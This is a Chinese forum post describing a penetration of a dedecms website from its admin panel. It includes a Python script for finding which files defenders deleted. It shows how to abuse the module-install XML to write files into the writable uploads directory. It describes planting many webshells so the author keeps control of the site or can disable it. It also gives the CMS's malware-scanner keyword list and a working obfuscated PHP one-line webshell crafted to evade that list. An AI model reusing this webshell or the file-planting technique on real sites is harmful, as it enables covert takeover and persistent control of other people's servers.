搜索
查看: 6124|回复: 0

基于dedecms网站的一次渗透

[复制链接]

330

主题

177

回帖

1071

积分

vip用户

积分
1071

注册会员活跃会员热心会员

QQ
发表于 2018-6-4 15:08:48 | 显示全部楼层 |阅读模式


信息收集

使用管理员的账号登陆到后台页面进行查看,发现防护人员删除了 文件管理模块 ,这里的删除指的是防护人员是直接删除了文件管理员模块对应的那几个文件,而不是在dedecms后台上面的删除,因为我当时想通过直接安装文件管理模块时失败了。通过在后台页面进行查看,发现这个网站之前已经被人种马了,但是管理员是直接不启用这个php文件。通过分析,我认为管理员可能通过删除物理文件的方式已经将很多的文件进行了删除。

我们已经进入了后台,而且虚拟主机很难提权,那么我们想的是通过在网站中布置大量的木马,让网站在我的控制之下。那么此时就需要知道目前还有那些文件是可以访问的,就写了下面一个简单的diff脚本。
[pre]
import argparse
import os
from urllib.parse import urljoin
import requests
# import os.path
# 程序没有使用协程,速度略慢
def access(url):
    headers = {
        'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36',
    }
    response = requests.get(url,headers=headers)
    return response.status_code == requests.codes.ok

#
def get_access(files,baseurl):
    can_access_files= []
    for file in files:
        url = urljoin(baseurl,file)
        print(url)
        canaccess = access(url)
        if canaccess:
            can_access_files.append(file)
    return can_access_files


# 得到了本地所有的文件
def get_local_files(filepath):
    # 遍历本地所有的文件
    files = []
    for parent,dirnames,filenames  in os.walk(filepath):
        for filename in filenames:
            abspath = os.path.join(parent,filename)
            # 得到文件的后缀
            file_suffix = os.path.splitext(os.path.basename(abspath))[1][1:]
            if file_suffix in suffix:
                relativepath = os.path.relpath(abspath,filepath)
                files.append(relativepath)
    return files

def main(filepath,local,remote,suffix):
    files = get_local_files(filepath)
    files = [file.replace('\\','/')for file in files]
    local_access_files = get_access(files,local)
    local_access_files = [file.replace('\\','/')for file in local_access_files]
    remote_access_files = get_access(local_access_files,remote)
    urls = [urljoin(remote,file) for file in remote_access_files]
    urls_str = '\r'.join(urls)
    with open('urls.txt','w') as file:
        file.write(urls_str)
    print('运行完毕')

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='dedecms diff')
    parser.add_argument('-f', '--file',required=True,
        dest='localfile', action='store',
        help='the dedecms local file')
    parser.add_argument('-l', '--local',required=True,
        dest='local', action='store',
        help='the dedecms local host')
    parser.add_argument('-r', '--remote',required=True,
        dest='remote', action='store',
        help='the dedecms remote host')
    parser.add_argument('-s', '--suffix',default='php', nargs='*',
        dest='suffix', action='store',
        help='the file that you want to diff')
    args = parser.parse_args()
   
    filepath = args.localfile
    local = args.local
    remote = args.remote
    suffix = args.suffix
    main(filepath,local,remote,suffix)
[/pre]
由于目前还是一个单线程的脚本,在访问目标网站的时候,速度会比较慢,后续可能到使用协程的方式来解决速度慢的问题。

通过这种方式,就可以知道目前网站的防护人员删除了哪些本可以正常访问的php文件。

修复文件管理模块

发现虽然网站的防护人员手动删除了dedecms的文件上传模块,但是我可以通过手动上传一个打包的文件上传模块上去,这样我就可以有一个文件上传模块,这样就可以做很多的事了。

在上传模块的时候,有一点需要注意的地方是在于,在导出模块的时候,需要选择导出的文件名,此时需要修改文件名,否则就会和已知的文件名相重复,这个比较难以描述,但是大家实际动手操作一边就知道了。

在本地打包好了文件管理模块进行安装时,发现需要安装文件管理模块的目录没有写入权限,那么说明就无法通过这种方式来安装文件管理模块。

如果无法上传文件管理模块,那么其他的后续操作都无法进行了。

dedecms文件上传模块分析

其实上传的dedecms的文件模块就是一个xml文件,观察xml的格式如下:
[pre]
<module>
<oldfilelist>
file_manage_control2.php
file_manage_main2.php
file_manage_view2.php
file_pic_view2.php
templets/file_edit2.htm
templets/file_manage_main2.htm
templets/file_pic_view2.htm
</oldfilelist>
</systemfile>
<modulefiles>
<file type='file' name='file_manage_control2.php'>
对应的file_manage_control2.php文件中的代码的base64decode
</file>
[/pre]

上面显示的就是部分xml文件格式代码

从中可以看到 <oldfilelist> 中就声明了模块所需要的所有的文件,同时还表明了文件的路径。那么对于默认的路径无法进行写入,我就尝试其他的目录是否具有写入权限,修改的方式也很简单。
[pre]
<module>
<oldfilelist>
/uploads/allimg/test.php
</oldfilelist>
</systemfile>
<modulefiles>
<file type='file' name='test.php'>
对应的file_manage_control2.php文件中的代码的base64decode
</file>
[/pre]
经过测试可以在dedecms中的 uploads/allimg 可以进行写入。那么具有写入权限,这样我们就可以写入一句话木马和大马了。

写入木马

我首先在 uploads/allimg 下放置了一个大马。这样就可以通过大马上传文件了,在使用大马上传文件的时候具有写入权限就可以了。

本次的目标的最终目的就是要求在网站中尽可能地防止木马,让网站无法正常使用或者是完全处于我的控制一下。

由于dedecms自带有一个简单的病毒防护模块,如下图所示:

在dedecms中的病毒扫描中会对代码中的 eval|cmd|system|exec|_GET|_POST ,这些进行检测。那么这就要求我们的一句话木马不能含有这些字符,同时还需要像正常的代码文件。因为部分的一句话木马虽然不含有这些关键字,但是网站的防护人员一看就知道这是木马,而不是正常的代码。说了这么多,就是我们的木马具有伪装性。

下面就给出了当时我们所使用的一句话木马,由于当时的网站并没有使用盾、狗、锁。所以以下的代码不保证能够防御这些。
[pre]
<?php
$uf="snc3";
$ka="IEBldmFbsK";
$pjt="CRfUE9TVF";
$vbl = str_replace("ti","","tistittirti_rtietipltiatice");
$iqw="F6ciddKTs=";
$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke");
$sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn");
$tmp = $bkf($vbl("b", "", $ka.$pjt.$uf.$iqw));
$mpy = $sbp('', $tmp);
$mpy();
?>
[/pre]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册

×
有没有参加CTF比赛的,一起组队啊!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表